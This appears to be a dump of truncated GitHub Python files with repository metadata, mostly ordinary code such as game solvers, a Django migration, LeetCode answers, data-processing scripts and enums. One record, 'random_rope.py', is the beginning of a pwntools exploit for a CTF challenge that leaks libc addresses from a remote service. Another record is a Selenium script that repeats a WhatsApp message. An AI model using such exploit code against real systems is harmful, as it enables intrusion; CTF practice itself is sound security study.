c26fd50d1c7bcce85657403551fdc8dcd43b54cd
c3614e4bc024f4c0f619eaa05ce3f2e068d2e82d
/cutting_game.py
e4236f6016472df8e83d460246c1aa1bf42ee696
[]
no_license
yukikawana/aoj
68b2853b52975d4d066cd91b8cc6ee57c7c7d5c1
cf53dc9957f02185e8b83b9c2ee28079ba88b2a5
refs/heads/master
2020-04-01T17:55:29.259738
2018-10-17T09:15:44
2018-10-17T09:15:44
153,459,439
0
0
null
null
null
null
UTF-8
Python
false
false
545
py
from utils import input_int mem = {} def grundy(H, W): key = (H, W) if key in mem: return mem[key] s = [] for h in range(2, H - 1): s.append(grundy(h, W) ^ grundy(H - h, W)) for w in range(2, W - 1): s.append(grundy(H, w) ^ grundy(H, W - w)) cnt = 0 while cnt in s: ...
[ "kojirou.tensou@gmail.com" ]
kojirou.tensou@gmail.com
e10e9064f3dc573fd39344ceefbdf8c3bcd548cf
b2b1e16968474ed573ebbebc1ee84bca59adbae1
/ExcelParser/CountRows.py
f2759fce4c40fa1930aaef464718571aec7d2c72
[]
no_license
shahpriyesh/PracticeCode
a03979d92a092bdbb5d0c7cfc1cfebc3f82e1c91
2afc3d0b3cd58d80ceb825a3ff0d190893e729fa
refs/heads/master
2022-11-29T12:37:01.719792
2020-07-27T18:02:51
2020-07-27T18:02:51
257,656,209
0
0
null
null
null
null
UTF-8
Python
false
false
2,139
py
import xlrd from openpyxl import * def countEqualEntries(excel_file, sheet_name): wb = xlrd.open_workbook(excel_file) sheet = wb.sheet_by_name(sheet_name) counter = {} for i in range(1, sheet.nrows): row = sheet.row_values(i) if row[0] in counter: counter[row[0]][0] += 1 ...
[ "priyesh.shah@hitachivantara.com" ]
priyesh.shah@hitachivantara.com
bbc0777dcd645f87565fccb02a0a3c22c08f6d20
ae9fc81dd2a93a614c8e579b570ac3f4d2962392
/Application/ReclamaCaicoProject/ReclamaCaicoApp/migrations/0001_initial.py
b020c4f1719f8084cc01a6631931c51963a8fdd4
[ "MIT" ]
permissive
WesleyVitor/ReclamaCaico
c3743d40771a808c8238a93513ef54829413d314
df67997821fc00236f1d9c77e8685ed8e4a6934b
refs/heads/master
2022-12-10T21:43:23.615702
2020-09-17T17:18:34
2020-09-17T17:18:34
260,520,207
0
0
MIT
2020-09-17T17:18:35
2020-05-01T17:38:45
Python
UTF-8
Python
false
false
1,912
py
# Generated by Django 2.2.2 on 2019-09-02 11:25 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] ope...
[ "wesleydemorais@outlook.com.br" ]
wesleydemorais@outlook.com.br
f3eaff00fba343a8a4a7f1ceb74a608f98fca37c
99ba551645dc9beed36f0478b396977c50c3e7ef
/leetcode-vscode/438.找到字符串中所有字母异位词.py
da5c5fdcfc35c7bed066617bb31112a2426144bb
[]
no_license
wulinlw/leetcode_cn
57381b35d128fb3dad027208935d3de3391abfd0
b0f498ebe84e46b7e17e94759dd462891dcc8f85
refs/heads/master
2021-08-09T17:26:45.688513
2021-07-15T14:38:30
2021-07-15T14:38:30
134,419,586
0
0
null
null
null
null
UTF-8
Python
false
false
2,625
py
# # @lc app=leetcode.cn id=438 lang=python3 # # [438] 找到字符串中所有字母异位词 # # https://leetcode-cn.com/problems/find-all-anagrams-in-a-string/description/ # # algorithms # Medium (41.20%) # Likes: 247 # Dislikes: 0 # Total Accepted: 21.8K # Total Submissions: 51.4K # Testcase Example: '"cbaebabacd"\n"abc"' # # 给定一个字符串 ...
[ "wulinlw@gmail.com" ]
wulinlw@gmail.com
8cda640d958088ed52e602287e97730545bd2a62
a99a44aee5cfc5e080f6d83d2bcc1c3d273a3426
/scripts/iemre/init_hourly.py
4876319dfe3c2b9cd95b3aa45e88caad6deaf8c6
[ "MIT" ]
permissive
ragesah/iem
1513929c8bc7f254048271d61b4c4cf27a5731d7
8ed970d426bddeaa3e7ded593665d22f0f9f6e87
refs/heads/main
2023-08-20T20:01:15.480833
2021-10-12T15:44:52
2021-10-12T15:44:52
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,467
py
"""Generate the IEMRE hourly analysis file for a year""" import datetime import sys import os import geopandas as gpd import numpy as np from pyiem import iemre from pyiem.grid.zs import CachingZonalStats from pyiem.util import get_dbconn, ncopen, logger LOG = logger() def init_year(ts): """ Create a new Ne...
[ "akrherz@iastate.edu" ]
akrherz@iastate.edu
805e26a503b1e54e65411035aebfd19197d9f38b
9ae6ce54bf9a2a86201961fdbd5e7b0ec913ff56
/google/ads/googleads/v9/enums/types/ad_group_criterion_approval_status.py
76072e9401b3ddc6e578d95c993b65b3da5a7ca1
[ "Apache-2.0" ]
permissive
GerhardusM/google-ads-python
73b275a06e5401e6b951a6cd99af98c247e34aa3
676ac5fcb5bec0d9b5897f4c950049dac5647555
refs/heads/master
2022-07-06T19:05:50.932553
2022-06-17T20:41:17
2022-06-17T20:41:17
207,535,443
0
0
Apache-2.0
2019-09-10T10:58:55
2019-09-10T10:58:55
null
UTF-8
Python
false
false
1,262
py
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
[ "noreply@github.com" ]
GerhardusM.noreply@github.com
baab7d0a2eeef70ff34b1be7b72ce3daea803683
781e2692049e87a4256320c76e82a19be257a05d
/all_data/exercism_data/python/word-count/fe23ec94d69343a3a5a10f713adfd463.py
d52d5cd350e7bed379f1fefa4f8f22ad9bfdec49
[]
no_license
itsolutionscorp/AutoStyle-Clustering
54bde86fe6dbad35b568b38cfcb14c5ffaab51b0
be0e2f635a7558f56c61bc0b36c6146b01d1e6e6
refs/heads/master
2020-12-11T07:27:19.291038
2016-03-16T03:18:00
2016-03-16T03:18:42
59,454,921
4
0
null
2016-05-23T05:40:56
2016-05-23T05:40:56
null
UTF-8
Python
false
false
251
py
# -*-coding: utf-8-*- #! /usr/bin/env python3 def word_count(string): string = string.split() dico = {} for word in string: if word not in dico: dico[word] = 1 else: dico[word] += 1 return dico
[ "rrc@berkeley.edu" ]
rrc@berkeley.edu
4a90b353d28203a2b13dd7f10e419572b1551633
784eca4391204e2352f320d632e29d37ea136f32
/PracticeCodes/whatsApp.py
b766433acc83e68763c1dd13d356cee6d98734c7
[]
no_license
JT4life/PythonCodes
e9d7156cff7b58ad6e1fd253cd645e707be6a5d5
148229c14b21dc2a34b7f1446b148b1040a84dad
refs/heads/master
2022-11-07T03:58:07.850557
2020-06-15T22:13:10
2020-06-15T22:13:10
272,554,535
0
0
null
null
null
null
UTF-8
Python
false
false
617
py
from selenium import webdriver #Download Chrome driver and paste in script folder in python ! driver = webdriver.Chrome() driver.get('https://web.whatsapp.com/') name = input('Enter the name of user or group : ') msg = input('Enter your message : ') count = int(input('Enter the count : ')) input('Enter anything af...
[ "joshua_4_life@hotmail.com" ]
joshua_4_life@hotmail.com
0cf32f19f7a7f9aa59508484ced33b621773e946
074421d31af92ae29c7c78bdb7e50f199a38eb9b
/weixin/code/rfid_oss/event_manager/command_code.py
4db7933b49755753bde7e285fbe6ec665b1b3e52
[]
no_license
allenforrest/wxbiz
3f49ce66b37e281fc375f548610aa54a0f73268f
e78df71fbc5d73dd93ba9452d4b54183fe1e7e1f
refs/heads/master
2016-09-06T15:17:49.420934
2013-08-05T13:13:40
2013-08-05T13:13:40
null
0
0
null
null
null
null
GB18030
Python
false
false
2,184
py
#coding=gbk """ Copyright (C), 2012-2015, Anything Connected Possibilities Author: ACP2013 Version: 1.0 Date: 2012-11-22 Description: event manager命令码定义文件 Others: Key Class&Method List: 1. .... History: 1. Date:2012-11-22 Author:ACP2013 Modification:新建文件 """ #OSS 命令码 OSS_BASE = 0x02000000 ...
[ "allenxu@gmail.com" ]
allenxu@gmail.com
ec593b0300c2aa722f382c36dbd9335956e4a56d
dfcb65de02953afaac24cc926ee32fcdede1ac21
/src/pyrin/processor/mimetype/enumerations.py
8547e4fb1a4820fa3604c5a82da52f2bd920b44c
[ "BSD-3-Clause" ]
permissive
mononobi/pyrin
031d0c38da945b76b07ea100554ffc7f8081b05e
9d4776498225de4f3d16a4600b5b19212abe8562
refs/heads/master
2023-08-31T03:56:44.700142
2023-08-20T22:20:06
2023-08-20T22:20:06
185,481,041
20
8
null
null
null
null
UTF-8
Python
false
false
334
py
# -*- coding: utf-8 -*- """ mimetype enumerations module. """ from pyrin.core.enumerations import CoreEnum class MIMETypeEnum(CoreEnum): """ mimetype enum. """ TEXT = 'text/plain' HTML = 'text/html' JAVASCRIPT = 'text/javascript' OCTET_STREAM = 'application/octet-stream' JSON = 'appl...
[ "mohamadnobakht@gmail.com" ]
mohamadnobakht@gmail.com
6b5c8c1161631de22919ca67fea10198953e24c0
60f1981f8fb7717a92921c0b7404f6eac06b100b
/Pwn/flag/random_rope.py
680882cfec123c4fd91d1ae75f50f36746659b1c
[]
no_license
MidnightFlag/CTF2021
765d73d227c23cea1df2bbf61a95b2c915be41ee
5b477472b1491ec7351f75b68f3d8883760e4280
refs/heads/main
2023-04-08T13:57:29.767417
2021-04-19T18:13:29
2021-04-19T18:13:29
310,705,849
3
1
null
null
null
null
UTF-8
Python
false
false
5,680
py
#!/usr/bin/env python3 from pwn import * proc = remote("172.17.0.6", 8888) libc = ELF("./libc-2.28.so") #proc = process("/home/kali/Documents/SB/MidnightCTF/PWN/pwn/infra/5_random_rope/random_rope") #libc = ELF("/lib/i386-linux-gnu/libc.so.6") leak = proc.recvuntil(b":\n\n").decode() log.info(leak) log.info("Parsin...
[ "a@example.com" ]
a@example.com
6e5ba839aad177f589f4dc24bb5b707e6d35e625
89f0df65abe01e273fd7cf0606727c777352ba47
/Python/code_comp/Programmeringsolympiaden/Kalas/bool mash.py
310e301ab3cd4f230aa659a223e41781f3dcbaca
[]
no_license
cqann/PRGM
486122601b959cfbf7d9d2dc2a37caa858cf15a8
7387dafb65895528c042a3f1ab605fa5325056ce
refs/heads/master
2022-02-16T00:59:32.342327
2022-01-27T16:55:46
2022-01-27T16:55:46
226,111,892
0
1
null
2020-11-16T17:41:44
2019-12-05T13:45:21
Python
UTF-8
Python
false
false
665
py
import sys import time n_kalas, k = [int(x) for x in sys.stdin.readline().split(" ")] s_w_h = [int(x) for x in sys.stdin.readline().split(" ")] w_s = [0] afford = 0 las = -1 hours = 0 list_w_hours = [] list_w_time = [] for i in range(n_kalas): cur_kalas = [int(x) for x in sys.stdin.readline().split(" ")] m_...
[ "cqann.lindberg@gmail.com" ]
cqann.lindberg@gmail.com
1da24edb58c87a6f4a8613ad31c9849e3494deae
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/103/usersdata/158/50598/submittedfiles/av1_3.py
d2648f5498338309230c4b00a56edb940359b628
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
235
py
# -*- coding: utf-8 -*- import math a=int(input('digite a:')) b=int(input('digite b:')) cont=0 i=1 for i in range(1,b+1,1): if a%2==0: cont=cont+1 i=i+1 if cont==0: print(i) else: print('Nao existe')
[ "rafael.mota@ufca.edu.br" ]
rafael.mota@ufca.edu.br
62bd663ff66daf8ad4c15a4551a219a9bfa76552
afa456bb3792e433d84684260cdce1dbc6302cde
/authors/apps/article/renderer.py
0941a3177f37f34445aeaec6aa777ad01913eddf
[ "BSD-3-Clause" ]
permissive
andela/ah-backend-poseidon
23ac16e9fcdce49f78df04126f9f486b8c39ebd4
d2b561e83ed1e9a585853f4a4e2e37805e86c35c
refs/heads/develop
2022-12-09T07:38:04.843476
2019-07-19T13:44:13
2019-07-19T13:44:13
158,799,017
1
4
BSD-3-Clause
2022-12-08T01:19:16
2018-11-23T07:55:00
Python
UTF-8
Python
false
false
753
py
""" Renderer classes go here """ import json from rest_framework.renderers import JSONRenderer class ArticleJSONRenderer(JSONRenderer): """ Override default renderer to customise output """ charset = 'utf-8' def render(self, data, accepted_media_type=None, renderer_context=None): """ ...
[ "ephraim.malinga@gmail.com" ]
ephraim.malinga@gmail.com
f39c8bd81c9f14438fcaf68af7acdfe08b6002a1
30227ff573bcec32644fca1cca42ef4cdd612c3e
/leetcode/binary_tree/tests/test_levelorder_traversal.py
04f4e411c877f489a2031650a1adce5140460d2b
[]
no_license
saurabh-pandey/AlgoAndDS
bc55864422c93e6c93b8432e483394f286ce8ef2
dad11dedea9ceb4904d6c2dea801ce0172abfc81
refs/heads/master
2023-07-01T09:12:57.951949
2023-06-15T12:16:36
2023-06-15T12:16:36
88,239,921
0
0
null
null
null
null
UTF-8
Python
false
false
497
py
import pytest import binary_tree.levelorder_traversal as prob import binary_tree.operations as bTree class TestPostorderTraversal: def test_example1_1(self): root = [3,9,20,None,None,15,7] res = [[3],[9,20],[15,7]] rootNode = bTree.createUsingCompleteList(root) assert prob.levelOrder(rootNode) == re...
[ "saurabhpandey85@gmail.com" ]
saurabhpandey85@gmail.com
c56e5bd714efca6e91bff4a72bd13e7dbd1a954a
6b2a8dd202fdce77c971c412717e305e1caaac51
/solutions_5688567749672960_1/Python/frigidrain/A.py
db7c051b27a5e302d31af53d0b46fc3b0d29e195
[]
no_license
alexandraback/datacollection
0bc67a9ace00abbc843f4912562f3a064992e0e9
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
refs/heads/master
2021-01-24T18:27:24.417992
2017-05-23T09:23:38
2017-05-23T09:23:38
84,313,442
2
4
null
null
null
null
UTF-8
Python
false
false
905
py
import fileinput import math from collections import deque def flip(n): res = 0 while(n > 0): digit = n%10 res = res * 10 + digit n /= 10 return res def solve(n): res = 0 while n > 19: # print n if n % 10 == 0: n -= 1 res += 1 ...
[ "eewestman@gmail.com" ]
eewestman@gmail.com
62434b8a6735fc1a9f7355464680ab37f69140cc
4ac687bc28b9f5cf7f822e9d4c0db8b46fe363b3
/88-Merge_Sorted_Array.py
648b3e7fbf941c1b8741ec21892efe0d755d71da
[ "MIT" ]
permissive
QuenLo/LeetCode-share
b1e75e02e1dfe85be44ddb0ae1f4345353b0b569
ce861103949510dc54fd5cb336bd992c40748de2
refs/heads/master
2021-12-23T11:23:09.111711
2021-11-15T18:54:46
2021-11-15T18:54:46
131,681,273
6
0
null
null
null
null
UTF-8
Python
false
false
1,539
py
# Time complexity : O(n + m) # Space: O(m) class Solution: def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None: """ Do not return anything, modify nums1 in-place instead. """ if n < 1: return if (m) < 1: nums1[...
[ "noreply@github.com" ]
QuenLo.noreply@github.com
744fba312f2b3ca31eb82c521b058139f9d7e0db
a8be4698c0a43edc3622837fbe2a98e92680f48a
/SSAFY알고리즘정규시간 Problem Solving/9월 Problem Solving/0930/3752가능한시험점수.py
e7305e71e4818c10983b34c211bc0b4567250260
[]
no_license
blueboy1593/algorithm
fa8064241f7738a12b33544413c299e7c1e1a908
9d6fdd82b711ba16ad613edcc041cbecadd85e2d
refs/heads/master
2021-06-23T22:44:06.120932
2021-02-21T10:44:16
2021-02-21T10:44:16
199,543,744
0
0
null
null
null
null
UTF-8
Python
false
false
594
py
import sys sys.stdin = open("3752_input.txt", "r") T = int(input()) # 그거 해보자 list에 index로 점수 기입해보기. def DFS(i, jumsoo): jumsoo += grade[i] grade_set.add(jumsoo) for j in range(i + 1, N): TF[j] = False DFS(j, jumsoo) TF[j] = True for tc in range(1, T + 1): N = int(input()) ...
[ "snb0303@naver.com" ]
snb0303@naver.com
550425985d4b721c0fee84ae9bcc6571903970de
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/KPicBthv6WhHFGapg_21.py
b72401fb304ce28ac7d951cec22bc9d33168f6f1
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
617
py
""" Create a function that returns the **number of syllables** in a simple string. The string is made up of _short repeated words_ like `"Lalalalalalala"` (which would have _7 syllables_ ). ### Examples count_syllables("Hehehehehehe") ➞ 6 count_syllables("bobobobobobobobo") ➞ 8 count_syllable...
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
386610dd251f9e3784e15ef74695779b95f74588
9c20b0f0ad729b77e970dedaf4a138c99b4364bc
/Lib/site-packages/phonenumbers/data/region_TN.py
876916c6ca828f0dbe4ce8ea6dd9787c2e55166d
[]
no_license
GlovesMaker/Sklepinternetowy
4459f8651d2280e4840cfb293de28f9413df68af
d05372e96f7238c9459caf4f7a890a5a6f2bb2c3
refs/heads/master
2022-12-22T02:43:33.628016
2018-09-11T18:20:37
2018-09-11T18:20:37
167,855,928
0
1
null
2022-12-08T05:55:04
2019-01-27T20:36:42
Python
UTF-8
Python
false
false
1,103
py
"""Auto-generated file, do not edit by hand. TN metadata""" from ..phonemetadata import NumberFormat, PhoneNumberDesc, PhoneMetadata PHONE_METADATA_TN = PhoneMetadata(id='TN', country_code=216, international_prefix='00', general_desc=PhoneNumberDesc(national_number_pattern='[2-57-9]\\d{7}', possible_length=(8,)), ...
[ "buchar123@gmail.com" ]
buchar123@gmail.com
8e8bfc220f7a7cb3625dcb6c3cd32dbb38472d3e
d82b4a4e710642dd38c944890671f21b2099232f
/Algorithm-python/_review/section4_ReverseSequence.py
b165ed2587bf79af6edb642fd01521716347485f
[]
no_license
somsomdah/Algorithm
31a36d01bc0e1873dee3d95789dcff3dd68a9b09
cd7f6f25fda5aef17495e11c20b54561d83674c5
refs/heads/master
2023-05-24T20:04:32.466801
2023-05-19T10:53:27
2023-05-19T10:53:27
236,322,519
1
0
null
null
null
null
UTF-8
Python
false
false
254
py
# 해결 못함 n=int(input()) seq=list(map(int,input().split())) res=[0]*n for i in range(0,n): count=0 for j in range(0,n): if res[j]==0: count+=1 if count==seq[i]: res[j]=i+1 print(res)
[ "somdah98@gmail.com" ]
somdah98@gmail.com
0c30d9ccebce25bb64383a0092ff2a31ff517dfa
b9ed8f5edf787f1a7df567a1b01086dc045427ba
/official/projects/mae/configs/mae.py
00691534b0760e4f37705c52d877976ffcc55079
[ "Apache-2.0" ]
permissive
stjordanis/models
787183f973f8cd4152f328de2368dbef17376488
84e1f30cdb5015848cb0d9e38e5b3f0551953b7c
refs/heads/master
2023-03-18T08:46:29.986735
2023-03-07T23:26:36
2023-03-07T23:27:43
143,071,287
0
0
Apache-2.0
2018-07-31T21:18:06
2018-07-31T21:18:05
null
UTF-8
Python
false
false
3,612
py
# Copyright 2022 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
[ "gardener@tensorflow.org" ]
gardener@tensorflow.org
0328881cc74e66f9635e839f9d1e6dcc0f05d091
5748b92c451efe67fabc9e588dcd5dcedbe29c36
/buildout/Naaya/zope210/bootstrap.py
1fc174920923155818686f3b128bdbba7d09e16c
[]
no_license
Hamzahashmi4444/Salman
146d30303ff738f9c78525466b039e7a6a7bd1bb
611ac05be7771a46b26ff243359cfcafce738cb1
refs/heads/master
2023-02-16T14:05:35.070709
2021-01-18T06:56:23
2021-01-18T06:56:23
330,587,900
1
0
null
null
null
null
UTF-8
Python
false
false
4,248
py
############################################################################## # # Copyright (c) 2006 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # T...
[ "hamza@gmail.com" ]
hamza@gmail.com
6ff49b287f974270f1f0ae428a47faaa8bfd7917
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03018/s719990159.py
1ca3886d16372d3fff541701f826d87af32d984f
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
194
py
s=input().replace("BC","X") ans=0 acc=0 for i in range(len(s)): if s[i]=="B" or s[i]=="C": acc=0 elif s[i]=="A": acc+=1 elif s[i]=="X": ans+=acc print(ans)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
e55bb7d0e2394ed842d96643697053021e38e637
4142b8c513d87361da196631f7edd82f11465abb
/python/round550/1144A.py
58cb00fccbaacef165270928c128d3c682aaeb87
[]
no_license
npkhanhh/codeforces
b52b66780426682ea1a3d72c66aedbe6dc71d7fe
107acd623b0e99ef0a635dfce3e87041347e36df
refs/heads/master
2022-02-08T17:01:01.731524
2022-02-07T10:29:52
2022-02-07T10:29:52
228,027,631
0
0
null
null
null
null
UTF-8
Python
false
false
289
py
from sys import stdin for _ in range(int(stdin.readline())): s = sorted(list(stdin.readline().strip())) direction = 0 res = 'Yes' for i in range(1, len(s)): cur = ord(s[i]) - ord(s[i-1]) if cur != 1: res = 'No' break print(res)
[ "npkhanh93@gmail.com" ]
npkhanh93@gmail.com
0edac64487d82dd2cf104d28b0e826a21bc6b79f
347569ec4be307e9ae78286da0280e95f2689d27
/updates/api/views.py
5459b3e9930bbcbebfcb0667eb7554762f17a222
[]
no_license
rahulsayon/Django-api
f45763330e91ffb9ccb12b686b9c0cb2af7d6fbb
f7d042086ad34f59a6ae92d920f2426b91ddda7b
refs/heads/master
2022-12-11T01:33:48.193457
2020-09-19T19:26:14
2020-09-19T19:26:14
296,937,330
0
0
null
null
null
null
UTF-8
Python
false
false
1,645
py
#from django.shortcuts import render # Create your views here. from updates.models import Update as UpdateModel from django.views.generic import View from django.http import HttpResponse from updates.mixin import CSRFExemptMixin from cfeapi.mixins import HttpResponseMixin import json class UpdateModelDetailAPIView(H...
[ "rahulsayon95@gmail.com" ]
rahulsayon95@gmail.com
5748278cb172838464abd74abc7813dda1031e03
f80ef3a3cf859b13e8af8433af549b6b1043bf6e
/pyobjc-framework-Cocoa/PyObjCTest/test_nsfilewrapper.py
8f242fb17d835c1952adda1f7f75d57c09d1e3a9
[ "MIT" ]
permissive
ronaldoussoren/pyobjc
29dc9ca0af838a56105a9ddd62fb38ec415f0b86
77b98382e52818690449111cd2e23cd469b53cf5
refs/heads/master
2023-09-01T05:15:21.814504
2023-06-13T20:00:17
2023-06-13T20:00:17
243,933,900
439
49
null
2023-06-25T02:49:07
2020-02-29T08:43:12
Python
UTF-8
Python
false
false
2,001
py
import AppKit import Foundation from PyObjCTools.TestSupport import TestCase, min_os_level class TestNSFileWrapper(TestCase): def test_enum_types(self): self.assertIsEnumType(Foundation.NSFileWrapperReadingOptions) self.assertIsEnumType(Foundation.NSFileWrapperWritingOptions) def testMethods(...
[ "ronaldoussoren@mac.com" ]
ronaldoussoren@mac.com
f1d8ef12acecd27c70767e80673ba6b6dba7adba
52f68b99981d16a6297ecacd4e8b92790daf0ef9
/23.py
05b94be1851770ce14ec01cce3b09e51adce1d35
[]
no_license
ComputahSaysNo/AOC_2019
a960214257016d2f376b20381a84bc3ba60f9f63
35867882647e1923a27216dae85388f13e402a68
refs/heads/master
2020-11-24T01:55:00.153911
2020-07-18T08:58:09
2020-07-18T08:58:09
227,914,439
0
0
null
null
null
null
UTF-8
Python
false
false
1,901
py
from processInputs import get_formatted_input from intcode import IntcodeComputer def part_1_and_2(data): outputs = [] for part in (1, 2): packetQueue = [] def inf(): return -1 network = [IntcodeComputer(data, inf) for i in range(50)] for i in range(50): ...
[ "unconfigured@null.spigotmc.org" ]
unconfigured@null.spigotmc.org
bc784b221bfe2c3829ae2b9ef8a9c755c1dee450
f07b0142e37afe0bf8ed4d56399a0a49f5b1801b
/lino_xl/lib/beid/views.py
2eeb93702cb6494e66469ccf7a09193753635492
[ "BSD-2-Clause" ]
permissive
khchine5/xl
af70fb21e4caeb05ff62e9618113c278d71a75ed
b1634937a9ce87af1e948eb712b934b11f221d9d
refs/heads/master
2021-01-20T22:51:01.193260
2018-08-22T07:47:43
2018-08-22T07:47:43
52,145,840
1
0
BSD-2-Clause
2018-08-19T12:29:06
2016-02-20T09:21:19
Python
UTF-8
Python
false
false
2,578
py
# -*- coding: UTF-8 -*- # Copyright 2018 Rumma 6 Ko Ltd # License: BSD (see file COPYING for details) """Views for `lino.modlib.bootstrap3`. """ from __future__ import division from os.path import join import time import json # from django import http # from django.conf import settings from django.views.generic impo...
[ "luc.saffre@gmail.com" ]
luc.saffre@gmail.com
a330663f1e5ce3fc16f9eef56bfaed1bdf134cee
2ed7f1e1f59832e91fe0402eca82ecf6fea2be40
/0x05-python-exceptions/2-safe_print_list_integers.py
70935bd34066cc1d54b184070aff6075e7e38cb5
[]
no_license
Leidysalda/holbertonschool-higher_level_programming
abf3159db916ec293fc219b591e2c44f74afe3f3
46c04cdc7b76afbd79c650ff258f85aef7d2d5fe
refs/heads/master
2020-09-29T02:40:47.437740
2020-09-23T05:37:10
2020-09-23T05:37:10
259,387,894
0
1
null
null
null
null
UTF-8
Python
false
false
284
py
#!/usr/bin/python3 def safe_print_list_integers(my_list=[], x=0): acum = 0 for i in range(0, x): try: print('{:d}'.format(my_list[i]), end='') acum += 1 except (ValueError, TypeError): pass print('') return (acum)
[ "leidysalda1@gmail.com" ]
leidysalda1@gmail.com
5efdcea0b197ce67a1ce02ffb34ddfc54e626264
d88ede90d3434d56b00bdc530711208e1673b245
/从字符串中提取省-市-区/main.py
5c40573f246b912751d8027fc17bad7edbbbf992
[]
no_license
SmallPotY/SmallUtil
0ec84fab01ce7b46cf44f839ed0f7b2d63bad0cb
0761283fc1f41ac909a1705aa3f31d925691189f
refs/heads/master
2020-06-13T22:49:12.060011
2019-08-12T06:08:33
2019-08-12T06:08:33
194,813,481
0
0
null
null
null
null
UTF-8
Python
false
false
454
py
# -*- coding:utf-8 -*- import cpca import os path = os.path.dirname(__file__) file = path + "/地址字符串.txt" location_str = [] with open(file, 'r', encoding='utf-8') as f: while True: line = f.readline().splitlines() if not line: break location_str.append(line[0]) # print(locatio...
[ "1041132457@qq.com" ]
1041132457@qq.com
b12910bde72865270b33d213ed7d7729845c413b
c3b739b07214507bf1023b926c19d30784623e98
/segme/metric/sad.py
6a214ab8ef8f566f2f85cda2e1f6aa8e227f5ec3
[ "MIT" ]
permissive
templeblock/segme
20a96787500c46483cb7af0db917207fcedafb0b
8192ed066558c1ea1e7283805b40da4baa5b3827
refs/heads/master
2023-08-30T12:31:39.327283
2021-11-11T17:08:40
2021-11-11T17:08:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,015
py
import tensorflow as tf from keras.metrics import SumOverBatchSize, metrics_utils from keras.utils import losses_utils from keras.utils.generic_utils import register_keras_serializable @register_keras_serializable(package='SegMe') class SAD(SumOverBatchSize): def __init__(self, divider=255., name='sad', dtype=Non...
[ "shkarupa.alex@gmail.com" ]
shkarupa.alex@gmail.com
1d3ab882c43c70cb14004d2256ccf46c2ffbd651
050ca74a2b304d49709050585424114f0a6bc1a7
/tools/generate_taint_models/get_REST_api_sources.py
01752c36104efc14cf8da804112946938b1fcb26
[ "MIT" ]
permissive
tholiao/pyre-check
fcc1019c63ad27dcec920ecee1464c0507a68672
f5705fb5dae6a78623a058e5972461e89e283634
refs/heads/master
2020-06-23T15:25:36.468656
2019-07-24T15:33:38
2019-07-24T15:33:38
198,662,804
0
0
MIT
2019-07-24T15:30:31
2019-07-24T15:30:30
null
UTF-8
Python
false
false
1,357
py
# Copyright (c) 2016-present, Facebook, Inc. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. # pyre-strict import inspect import types from typing import Callable, Iterable from .inspect_parser import extract_annotation, extract_name, ext...
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
d8a2c27e6abe1ff0606d58ea519950a06e4de596
70f5264401822933a25a94101f648d385362b87b
/demo1.py
6ba70b66f563d654ef5538db55f502ec3cb763c0
[]
no_license
aspiringguru/COVID_data_analysis
aa859ecc5bc76b4c68a526efd52ae2fc0a8f67db
86004246a7199807d3b7751f42d934ffe3e6bf41
refs/heads/master
2021-05-22T22:06:33.358741
2020-04-05T07:25:38
2020-04-05T07:25:38
253,117,930
0
0
null
null
null
null
UTF-8
Python
false
false
2,860
py
import pandas as pd import os mypath = "../data.bls.gov/unemployment_rate/" file_list = [] for file in os.listdir(mypath): if file.endswith(".xlsx"): print(os.path.join(mypath, file)) file_list.append(os.path.join(mypath, file)) file_list col_names = [] combined_results = pd.Data...
[ "bmatthewtaylor@gmail.com" ]
bmatthewtaylor@gmail.com
c7a6d37da7b8e7990c140909ac230c2be4083302
31ee112d47d3a2b2383498646eff5eb8c7368465
/collective/scss/stylesheet.py
b1f5bf14ca3b9447bed8f60b56a3b2af06a037bd
[]
no_license
collective/collective.scss
acf7f8313d4584e0a0e2c08756f5bf8ed639149c
b4d86613d3be1d433a118033395416e84df4ad54
refs/heads/master
2023-07-15T10:01:19.302332
2011-11-25T23:34:21
2011-11-25T23:34:21
2,681,508
2
0
null
null
null
null
UTF-8
Python
false
false
459
py
from Products.Five.browser import BrowserView from scss import parser class SCSSView(BrowserView): """SCSS base stylesheet view""" def __call__(self): # defer to index method, because that's what gets overridden by the template ZCML attribute scss = self.index().encode('utf-8') p = pa...
